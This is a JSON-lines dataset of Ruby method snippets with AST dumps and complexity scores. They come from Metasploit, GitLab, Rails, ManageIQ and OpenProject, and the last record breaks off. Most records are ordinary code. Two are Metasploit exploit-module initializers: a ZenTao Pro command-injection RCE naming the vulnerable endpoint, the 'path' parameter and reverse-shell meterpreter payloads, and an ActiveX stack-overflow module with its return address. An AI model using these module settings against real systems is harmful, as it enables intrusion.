{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/post.rb","start_line":124,"raw_source":"def cmd_run_help\n    print_line \"Usage: run [options]\"\n    print_line\n    print_line \"Launches a post module.\"\n    print @@module_opts_with_action_support.usage\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_run_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: run [options]\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Launches a post module.\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@module_opts_with_action_support\"]},\"usage\"]}]}]}]}","id":"2c803a26-6c7a-4fa8-8ae9-77cfed6c6b1f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/zentao_pro_rce.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'ZenTao Pro 8.8.2 Remote Code Execution',\n        'Description' => %q{\n          This module exploits a command injection vulnerability in ZenTao Pro\n          8.8.2 and earlier versions in order to execute arbitrary commands with\n          SYSTEM privileges.\n\n          The module first attempts to authenticate to the ZenTao dashboard. It\n          then tries to execute the payload by submitting fake repositories via\n          the 'Repo Create' function that is accessible from the dashboard via\n          CI>Repo. More precisely, the module sends HTTP POST requests to\n          '/pro/repo-create.html' that inject commands in the vulnerable 'path'\n          parameter which corresponds to the 'Client Path' input field.\n\n          Valid credentials for a ZenTao admin account are required. This module\n          has been successfully tested against ZenTao 8.8.1 and 8.8.2 running on\n          Windows 10 (XAMPP server).\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Daniel Monzón', # Discovery\n          'Melvin Boers', # PoC\n          'Erik Wynter' # @wyntererik - Metasploit\n        ],\n        'References' => [\n          ['EDB', '48633'], # PoC\n          ['CVE', '2020-7361']\n        ],\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            'Windows (x86)', {\n              'Arch' => [ARCH_X86],\n              'CmdStagerFlavor' => :certutil,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'windows/meterpreter/reverse_tcp'\n              }\n            }\n          ],\n          [\n            'Windows (x64)', {\n              'Arch' => [ARCH_X64],\n              'CmdStagerFlavor' => :certutil,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2020-06-20',\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION ]\n        }\n      )\n    )\n\n    register_options [\n      OptString.new('TARGETURI', [true, 'The base path to ZenTao', '/pro/']),\n      OptString.new('TARGETPATH', [true, 'The path on the target where commands will be executed', 'C:\\\\Windows\\\\Temp']),\n      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),\n      OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])\n    ]\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ZenTao Pro 8.8.2 Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a command injection vulnerability in ZenTao Pro\\n\"]},{\"type\":\"str\",\"children\":[\"          8.8.2 and earlier versions in order to execute arbitrary commands with\\n\"]},{\"type\":\"str\",\"children\":[\"          SYSTEM privileges.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The module first attempts to authenticate to the ZenTao dashboard. It\\n\"]},{\"type\":\"str\",\"children\":[\"          then tries to execute the payload by submitting fake repositories via\\n\"]},{\"type\":\"str\",\"children\":[\"          the 'Repo Create' function that is accessible from the dashboard via\\n\"]},{\"type\":\"str\",\"children\":[\"          CI>Repo. More precisely, the module sends HTTP POST requests to\\n\"]},{\"type\":\"str\",\"children\":[\"          '/pro/repo-create.html' that inject commands in the vulnerable 'path'\\n\"]},{\"type\":\"str\",\"children\":[\"          parameter which corresponds to the 'Client Path' input field.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Valid credentials for a ZenTao admin account are required. This module\\n\"]},{\"type\":\"str\",\"children\":[\"          has been successfully tested against ZenTao 8.8.1 and 8.8.2 running on\\n\"]},{\"type\":\"str\",\"children\":[\"          Windows 10 (XAMPP server).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Daniel Monzón\"]},{\"type\":\"str\",\"children\":[\"Melvin Boers\"]},{\"type\":\"str\",\"children\":[\"Erik Wynter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"48633\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-7361\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows (x86)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"sym\",\"children\":[\"certutil\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows (x64)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"sym\",\"children\":[\"certutil\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-06-20\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to ZenTao\"]},{\"type\":\"str\",\"children\":[\"/pro/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path on the target where commands will be executed\"]},{\"type\":\"str\",\"children\":[\"C:\\\\Windows\\\\Temp\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username to authenticate with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"1c7dba61-fe27-480d-86a5-b70806334a86"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/send_file_upload.rb","start_line":68,"raw_source":"def mounted_as_avatar?(file_upload)\n    file_upload.try(:mounted_as)&.to_sym == :avatar\n  end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"mounted_as_avatar?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_upload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_upload\"]},\"try\",{\"type\":\"sym\",\"children\":[\"mounted_as\"]}]},\"to_sym\"]},\"==\",{\"type\":\"sym\",\"children\":[\"avatar\"]}]}]}","id":"05c04f1f-3db9-4314-b335-bb0ab42dd139"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/enable_ssl_verification.rb","start_line":16,"raw_source":"def initialize_properties\n      super\n\n      self.enable_ssl_verification = true if new_record? && enable_ssl_verification.nil?\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_properties\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_record?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enable_ssl_verification\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enable_ssl_verification=\",{\"type\":\"true\",\"children\":[]}]},null]}]}]}","id":"d96d6e96-0552-4b05-9dfb-c74a2ba4ded9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_sent_notifications_after_partition.rb","start_line":23,"raw_source":"def update_issue_records(sub_batch)\n        connection.execute(\n          <<~SQL\n            #{query_prefix(sub_batch, 'Issue')}\n            issues.namespace_id\n            FROM\n              filtered_relation\n              INNER JOIN issues ON filtered_relation.noteable_id = issues.id\n            ON CONFLICT DO NOTHING\n          SQL\n        )\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_issue_records\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_prefix\",{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},{\"type\":\"str\",\"children\":[\"Issue\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"issues.namespace_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM\\n\"]},{\"type\":\"str\",\"children\":[\"  filtered_relation\\n\"]},{\"type\":\"str\",\"children\":[\"  INNER JOIN issues ON filtered_relation.noteable_id = issues.id\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT DO NOTHING\\n\"]}]}]}]}","id":"5d0b4548-a43a-4e18-8ece-3a82f378661f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/change_schema_test.rb","start_line":203,"raw_source":"def test_create_table_with_timestamps_should_create_datetime_columns\n        connection.create_table table_name do |t|\n          t.timestamps\n        end\n        created_columns = connection.columns(table_name)\n\n        created_at_column = created_columns.detect { |c| c.name == \"created_at\" }\n        updated_at_column = created_columns.detect { |c| c.name == \"updated_at\" }\n\n        assert_not created_at_column.null\n        assert_not updated_at_column.null\n      end","complexity_score":25.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_table_with_timestamps_should_create_datetime_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"create_table\",{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]},{\"type\":\"lvasgn\",\"children\":[\"created_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"columns\",{\"type\":\"send\",\"children\":[null,\"table_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"created_at_column\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"created_columns\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"created_at\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"updated_at_column\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"created_columns\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"updated_at\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"created_at_column\"]},\"null\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"updated_at_column\"]},\"null\"]}]}]}]}","id":"63ebe412-8c89-46c7-925d-468374cf82cb"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":5124,"raw_source":"def test_path_parameters_are_not_mutated\n    get \"/en/about\"\n    assert_equal \"/ar | /ar/about\", @response.body\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_path_parameters_are_not_mutated\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/en/about\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/ar | /ar/about\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"06c54fcb-50b3-4d16-9c73-faf86735f9be"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_alert_set.rb","start_line":37,"raw_source":"def active?\n    !members.all? { |p| !p.active }\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"active?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"active\"]},\"!\"]}]},\"!\"]}]}","id":"d7a08610-383b-433e-a72d-50695f51d844"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/oauth/tokens_controller.rb","start_line":29,"raw_source":"def append_info_to_payload(payload)\n    super\n\n    if @authorize_response.respond_to?(:token) && @authorize_response.token.is_a?(Doorkeeper::AccessToken)\n      payload[:metadata] ||= {}\n      payload[:metadata][:oauth_access_token_id] = @authorize_response.token.id\n      payload[:metadata][:oauth_access_token_application_id] = @authorize_response.token.application_id\n      payload[:metadata][:oauth_access_token_scopes] = @authorize_response.token.scopes_string\n    end\n\n    # rubocop:disable Rails/StrongParams -- following existing param access pattern\n    if params[:grant_type] == 'refresh_token' && params[:refresh_token].present?\n      payload[:metadata] ||= {}\n      payload[:metadata][:refresh_token_hash] = Digest::SHA256.hexdigest(params[:refresh_token])[0..9]\n    end\n    # rubocop:enable Rails/StrongParams\n\n    payload\n  end","complexity_score":38.7,"ast_json":"{\"type\":\"def\",\"children\":[\"append_info_to_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@authorize_response\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@authorize_response\"]},\"token\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"AccessToken\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"oauth_access_token_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@authorize_response\"]},\"token\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"oauth_access_token_application_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@authorize_response\"]},\"token\"]},\"application_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"oauth_access_token_scopes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@authorize_response\"]},\"token\"]},\"scopes_string\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"grant_type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"refresh_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"refresh_token\"]}]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"refresh_token_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"refresh_token\"]}]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[9]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}","id":"c62e21f8-acd2-430f-9f2c-5e79ebb83b71"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/member.rb","start_line":83,"raw_source":"def deletable?\n    member_roles.none?(&:inherited_from?)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"deletable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member_roles\"]},\"none?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"inherited_from?\"]}]}]}]}","id":"7bfe67c7-86a3-4784-8251-87a68a327e0c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/barcode_ax49.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in RKD Software Barcode Application\n          ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint\n          method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'Trancek <trancek[at]yashira.org>', 'aushack' ],\n        'References' => [\n          [ 'EDB', '4094' ],\n          [ 'OSVDB', '37482' ],\n          [ 'BID', '24596' ],\n          [ 'CVE', '2007-3435' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\\x0a\\x0d\\x20\\'\\\"%<>@=,.\\#$&()\\\\/\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll aushack xpsp0\n        ],\n        'DisclosureDate' => '2007-06-22',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in RKD Software Barcode Application\\n\"]},{\"type\":\"str\",\"children\":[\"          ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint\\n\"]},{\"type\":\"str\",\"children\":[\"          method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Trancek <trancek[at]yashira.org>\"]},{\"type\":\"str\",\"children\":[\"aushack\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"4094\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"37482\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"24596\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2007-3435\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r '\\\"%<>@=,.#$&()\\\\/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP0 